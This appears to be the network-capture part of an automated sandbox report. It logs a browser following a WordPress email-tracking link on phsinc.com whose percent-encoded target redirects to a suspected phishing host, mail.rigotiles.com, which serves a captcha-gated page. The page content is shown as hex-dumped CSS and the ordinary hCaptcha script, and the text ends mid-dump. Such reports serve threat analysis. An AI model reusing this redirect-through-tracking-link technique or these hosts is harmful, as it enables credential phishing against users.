react.rigotiles.com

aadcdn.msftauth.net

ywnjb.rigotiles.com

vn3hg.rigotiles.com

fs.microsoft.com

slscr.update.microsoft.com

fe3cr.delivery.mp.microsoft.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49706	3.132.253.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:47 UTC	890	OUT	GET /?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42 HTTP/1.1 Host: www.phsinc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:48 UTC	475	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 31 Oct 2024 20:54:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close X-Redirect-By: WordPress Set-Cookie: _fk_contact_uid=e2dffed46dd69d19d18bc527d6255bd5; expires=Sun, 29 Oct 2034 20:54:48 GMT; Max-Age=315360000; path=/ Location: https://mail.rigotiles.com/jPsQWUcB Cache-Control: max-age=0 Expires: Thu, 31 Oct 2024 20:54:47 GMT Vary: Accept-Encoding X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49712	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:49 UTC	669	OUT	GET /jPsQWUcB HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:49 UTC	983	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Set-Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; Path=/; Domain=rigotiles.com; Expires=Thu, 31 Oct 2024 21:54:49 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vDUBRrw%2BpEGLQva3vaUVIZKqOwdRaaL%2B4XyvaR1TLyPB85IFPAC1coqWQ9znzPyYt7P7z47b27ngdUPEF9UV5b1OJYyqfLhLJLWD5kDH%2Fozq5b4bWCMQXL7j5C5Qbq4eZT1WdL0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68add2b8f4546-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17913&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1247&delivery_rate=163063&cwnd=32&unsent_bytes=0&cid=d385f37e52e40d00&ts=440&x=0"
2024-10-31 20:54:49 UTC	386	IN	Data Raw: 35 32 65 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 23 72 65 67 69 6f 6e 28 63 6f 6c 6c 61 70 73 65 64 29 2d 2d 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: 52e8<!DOCTYPE html><html lang="en-US"> ... #region(collapsed)--> <head> <style> * { box-sizing: border-box; margin: 0; padding: 0; } html {
2024-10-31 20:54:49 UTC	1369	IN	Data Raw: 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 79 73 74 65 6d 2d 75 69 2c 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 53 65 67 6f 65 20 55 49 2c 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 20 41 72 69 61 6c 2c 20 4e 6f 74 6f 20 53 61 6e 73 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 2c 20 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 2c 20 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 2c 20 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 Data Ascii: html, button { font-family: system-ui, -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Arial, Noto Sans, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol, Noto Color Emoji; }
2024-10-31 20:54:49 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 2e 35 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 2e 35 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 Data Ascii: padding-right: 1.5rem; padding-left: 1.5rem; } .main-wrapper { display: flex; flex: 1; flex-direction: column; align-items: center;
2024-10-31 20:54:49 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 72 65 2d 6d 73 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 63 6f 6e 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 Data Ascii: } .core-msg { line-height: 1.5rem; font-size: 1rem; } } .icon-wrapper { display: inline-block; position: relative;
2024-10-31 20:54:49 UTC	1369	IN	Data Raw: 58 4e 42 73 31 42 31 74 73 4b 57 4b 70 73 58 30 79 46 68 73 6c 54 65 74 4c 34 6d 4c 38 73 34 6a 32 66 79 73 6c 54 62 6a 62 54 37 56 61 32 56 37 47 43 47 35 75 6b 68 66 74 69 6a 58 64 73 6f 51 68 47 6d 7a 53 49 34 51 68 48 47 68 56 75 66 7a 34 51 4a 2f 76 36 48 75 67 36 64 4b 30 45 4b 33 59 75 4d 38 2f 33 4c 78 35 68 33 5a 30 53 54 79 77 65 35 35 6f 78 52 65 6a 4d 35 51 6f 34 61 41 74 5a 38 65 54 42 75 57 70 36 64 6c 33 49 58 67 66 6e 6e 4c 70 79 7a 42 43 46 63 74 48 6f 6d 6e 53 6f 70 65 6a 4c 68 48 2f 33 41 4d 66 45 4d 6e 64 54 4a 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 Data Ascii: XNBs1B1tsKWKpsX0yFhslTetL4mL8s4j2fyslTbjbT7Va2V7GCG5ukhftijXdsoQhGmzSI4QhHGhVufz4QJ/v6Hug6dK0EK3YuM8/3Lx5h3Z0STywe55oxRejM5Qo4aAtZ8eTBuWp6dl3IXgfnnLpyzBCFctHomnSopejLhH/3AMfEMndTJAAAAAElFTkSuQmCC); background-size: cover; }
2024-10-31 20:54:49 UTC	1369	IN	Data Raw: 30 6d 65 45 72 42 41 44 33 6e 38 56 57 38 44 42 74 34 4a 5a 55 41 4c 78 59 70 31 38 76 6d 66 57 55 52 32 65 64 39 54 57 37 69 42 37 4b 33 6d 75 4f 73 47 66 44 52 46 41 41 42 4b 41 42 43 41 42 53 41 41 53 67 41 51 67 41 55 67 41 6b 68 4b 4c 70 77 4d 4a 6d 77 72 44 2b 42 44 69 59 77 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 6e 74 61 69 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 61 72 65 74 2d 69 63 6f 6e 2d Data Ascii: 0meErBAD3n8VW8DBt4JZUALxYp18vmfWUR2ed9TW7iB7K3muOsGfDRFAABKABCABSAASgAQgAUgAkhKLpwMJmwrD+BDiYwAAAABJRU5ErkJggg==); background-size: contain; width: 1rem; height: 1rem; } .caret-icon-
2024-10-31 20:54:49 UTC	1369	IN	Data Raw: 64 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 65 62 61 75 74 68 6e 2d 64 69 76 69 64 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 2e 35 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 32 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 61 70 74 63 68 61 2d 70 72 6f 6d 70 74 3a 6e 6f 74 28 2e 68 69 64 64 65 6e 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 65 62 61 75 74 68 6e 2d 70 72 6f 6d 70 74 3a 6e Data Ascii: den) { display: flex; } .webauthn-divider { padding: 0 1.5rem; } @media (max-width: 720px) { .captcha-prompt:not(.hidden), .webauthn-prompt:n
2024-10-31 20:54:49 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 70 2d 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 2e 32 35 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: border-top: 1px solid #d9d9d9; padding-top: 1rem; padding-bottom: 1rem; } .ip-address { margin-left: 2.25rem; } .clearfix:after {
2024-10-31 20:54:49 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 6b 65 65 70 2d 61 6c 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .clearfix .column { float: none; padding: 0; width: auto; word-break: keep-all; } .zone-name-title {
2024-10-31 20:54:49 UTC	1369	IN	Data Raw: 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 20 61 63 74 69 76 65 29 2c 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 Data Ascii: 0% { transform: rotate(0); } to { transform: rotate(360deg); } } @media screen and (-ms-high-contrast: active), screen and (-ms-high-contrast

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49718	104.19.230.21	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:50 UTC	525	OUT	GET /1/api.js HTTP/1.1 Host: js.hcaptcha.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:50 UTC	510	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:50 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: max-age=300 etag: W/"2b5a35fbd77d40bce698500285e9b2a5" vary: Accept-Encoding vary: Origin alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff age: 0 cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8db68ae48c902c8e-DFW
2024-10-31 20:54:50 UTC	859	IN	Data Raw: 37 64 39 36 0d 0a 2f 2a 20 68 74 74 70 73 3a 2f 2f 68 63 61 70 74 63 68 61 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 73 6f 6c 76 65 28 65 28 29 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 73 6f 6c 76 65 28 65 28 29 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 6a 65 63 74 28 6e Data Ascii: 7d96/* https://hcaptcha.com/license */!function(){"use strict";function e(e){var t=this.constructor;return this.then((function(n){return t.resolve(e()).then((function(){return n}))}),(function(n){return t.resolve(e()).then((function(){return t.reject(n
2024-10-31 20:54:50 UTC	1369	IN	Data Raw: 70 65 6f 66 20 73 65 74 49 6d 6d 65 64 69 61 74 65 3f 73 65 74 49 6d 6d 65 64 69 61 74 65 3a 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 6c 65 6e 67 74 68 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 61 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 73 20 6d 75 73 74 20 62 65 20 63 6f 6e 73 74 72 75 63 74 65 64 20 76 69 61 20 6e 65 77 22 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 Data Ascii: peof setImmediate?setImmediate:null;function i(e){return Boolean(e&&"undefined"!=typeof e.length)}function o(){}function a(e){if(!(this instanceof a))throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("
2024-10-31 20:54:50 UTC	1369	IN	Data Raw: 73 2e 70 72 6f 6d 69 73 65 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 29 7b 76 61 72 20 6e 3d 21 31 3b 74 72 79 7b 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 7c 7c 28 6e 3d 21 30 2c 63 28 74 2c 65 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 7c 7c 28 6e 3d 21 30 2c 6c 28 74 2c 65 29 29 7d 29 29 7d 63 61 74 63 68 28 72 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 3b 6e 3d 21 30 2c 6c 28 74 2c 72 29 7d 7d 61 2e 70 72 6f 74 6f 74 79 70 65 5b 22 63 61 74 63 68 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 6e 75 6c 6c 2c 65 29 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 6e 65 77 20 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 Data Ascii: s.promise=n}function d(e,t){var n=!1;try{e((function(e){n\|\|(n=!0,c(t,e))}),(function(e){n\|\|(n=!0,l(t,e))}))}catch(r){if(n)return;n=!0,l(t,r)}}a.prototype["catch"]=function(e){return this.then(null,e)},a.prototype.then=function(e,t){var n=new this.construc
2024-10-31 20:54:50 UTC	1369	IN	Data Raw: 6f 66 20 77 69 6e 64 6f 77 29 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 3b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 75 6e 61 62 6c 65 20 74 6f 20 6c 6f 63 61 74 65 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 74 3c 3d 65 26 26 65 3c 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 69 66 28 65 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 7b 7d 3b 69 66 28 65 3d 3d 3d 4f 62 6a 65 63 74 28 65 29 29 72 65 74 75 72 6e 20 65 3b 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 6f 75 6c 64 20 6e 6f 74 20 63 6f 6e 76 65 Data Ascii: of window)return window;if("undefined"!=typeof global)return global;throw new Error("unable to locate global object")}();function p(e,t,n){return t<=e&&e<=n}function m(e){if(e===undefined)return{};if(e===Object(e))return e;throw TypeError("Could not conve
2024-10-31 20:54:50 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 54 28 65 29 7d 7d 2c 53 3d 22 75 74 66 2d 38 22 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 65 2c 74 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 4f 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6c 6c 65 64 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 2e 20 44 69 64 20 79 6f 75 20 66 6f 72 67 65 74 20 27 6e 65 77 27 3f 22 29 3b 65 3d 65 21 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 53 74 72 69 6e 67 28 65 29 3a 53 2c 74 3d 6d 28 74 29 2c 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 67 6e 6f 72 65 42 4f 4d 3d 21 31 2c 74 68 69 73 2e 5f 42 4f 4d 73 65 65 6e 3d 21 31 2c 74 68 69 73 2e 5f 65 72 72 6f 72 5f Data Ascii: ){return new T(e)}},S="utf-8";function O(e,t){if(!(this instanceof O))throw TypeError("Called as a function. Did you forget 'new'?");e=e!==undefined?String(e):S,t=m(t),this._encoding=null,this._decoder=null,this._ignoreBOM=!1,this._BOMseen=!1,this._error_
2024-10-31 20:54:50 UTC	1369	IN	Data Raw: 3b 74 68 69 73 2e 68 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 73 29 7b 69 66 28 73 3d 3d 3d 79 26 26 30 21 3d 3d 69 29 72 65 74 75 72 6e 20 69 3d 30 2c 62 28 74 29 3b 69 66 28 73 3d 3d 3d 79 29 72 65 74 75 72 6e 20 77 3b 69 66 28 30 3d 3d 3d 69 29 7b 69 66 28 70 28 73 2c 30 2c 31 32 37 29 29 72 65 74 75 72 6e 20 73 3b 69 66 28 70 28 73 2c 31 39 34 2c 32 32 33 29 29 69 3d 31 2c 6e 3d 33 31 26 73 3b 65 6c 73 65 20 69 66 28 70 28 73 2c 32 32 34 2c 32 33 39 29 29 32 32 34 3d 3d 3d 73 26 26 28 6f 3d 31 36 30 29 2c 32 33 37 3d 3d 3d 73 26 26 28 61 3d 31 35 39 29 2c 69 3d 32 2c 6e 3d 31 35 26 73 3b 65 6c 73 65 7b 69 66 28 21 70 28 73 2c 32 34 30 2c 32 34 34 29 29 72 65 74 75 72 6e 20 62 28 74 29 3b 32 34 30 3d 3d 3d 73 26 26 28 6f 3d 31 34 34 29 2c Data Ascii: ;this.handler=function(e,s){if(s===y&&0!==i)return i=0,b(t);if(s===y)return w;if(0===i){if(p(s,0,127))return s;if(p(s,194,223))i=1,n=31&s;else if(p(s,224,239))224===s&&(o=160),237===s&&(a=159),i=2,n=15&s;else{if(!p(s,240,244))return b(t);240===s&&(o=144),
2024-10-31 20:54:50 UTC	1369	IN	Data Raw: 75 73 68 3d 42 6f 6f 6c 65 61 6e 28 74 2e 73 74 72 65 61 6d 29 3b 66 6f 72 28 76 61 72 20 72 2c 69 3d 6e 65 77 20 76 28 6e 29 2c 6f 3d 5b 5d 3b 3b 29 7b 76 61 72 20 61 3d 69 2e 72 65 61 64 28 29 3b 69 66 28 61 3d 3d 3d 79 29 62 72 65 61 6b 3b 69 66 28 28 72 3d 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 69 2c 61 29 29 3d 3d 3d 77 29 62 72 65 61 6b 3b 6e 75 6c 6c 21 3d 3d 72 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 72 29 3f 6f 2e 70 75 73 68 2e 61 70 70 6c 79 28 6f 2c 72 29 3a 6f 2e 70 75 73 68 28 72 29 29 7d 69 66 28 21 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 29 7b 64 6f 7b 69 66 28 28 72 3d 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 69 2c 69 2e 72 65 61 64 28 29 29 29 3d 3d 3d 77 29 62 Data Ascii: ush=Boolean(t.stream);for(var r,i=new v(n),o=[];;){var 